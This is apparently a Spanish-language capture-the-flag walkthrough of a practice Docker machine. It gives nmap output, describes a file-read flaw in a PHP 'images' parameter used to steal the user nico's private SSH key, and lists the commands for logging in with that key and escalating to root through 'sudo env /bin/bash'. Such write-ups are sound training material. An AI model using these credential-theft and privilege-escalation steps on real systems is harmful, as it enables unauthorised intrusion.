Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 13:52 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 2e:4a:72:a0:b2:40:3a:36:99:c9:2d:a7:62:61:16:e7 (ECDSA)
|_ 256 7c:7d:78:7a:20:2b:d0:75:92:26:1b:41:3c:ca:79:3c (ED25519)
80/tcp open http Apache httpd 2.4.61 ((Debian))
|_http-title: Advertencia: LeFvIrus
|_http-server-header: Apache/2.4.61 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds
Si entramos a la pagina, veremos una simulacion de una infeccion de un virus, pero si le damos al boton llamado ejemplo de computadoras infectadas podremos ver en la URL que es un archiv .php y que lleva un parametro llamado images sujeto a el, probaremos a ver si es vulnerable a la lectura de archivos del sistema.
Vemos que funciona, tambien podremos ver que hay un usuario llamado nico, si probamos a tirarle un ataque de fuerza bruta veremos que no funciona, por lo que vamos a ver si con dicha vulnerabilidad le sacamos alguna clave privada como por ejemplo el id_rsa.
Y vemos que funciona correctamente, por lo que nos metemos mediante la clave privada del usuario nico.
SSH
nano id_rsa
#Dentro del nano
<CONTENT_ID_RSA>
Lo guardamos y el ponemos los permisos adecuados.
chmod 600 id_rsa
Y ahora nos conectamos con dicha clave:
ssh -i id_rsa nico@<IP>
Y con esto ya estaremos dentro con dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for nico on 0806c600fecc:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User nico may run the following commands on 0806c600fecc:
(ALL) NOPASSWD: /bin/env
Veremos que podemos ejecutar el binario env como el usuario root, por lo que haremos lo siguiente:
sudo env /bin/bash
Con esto veremos que somos root, por lo que habremos terminado la maquina.
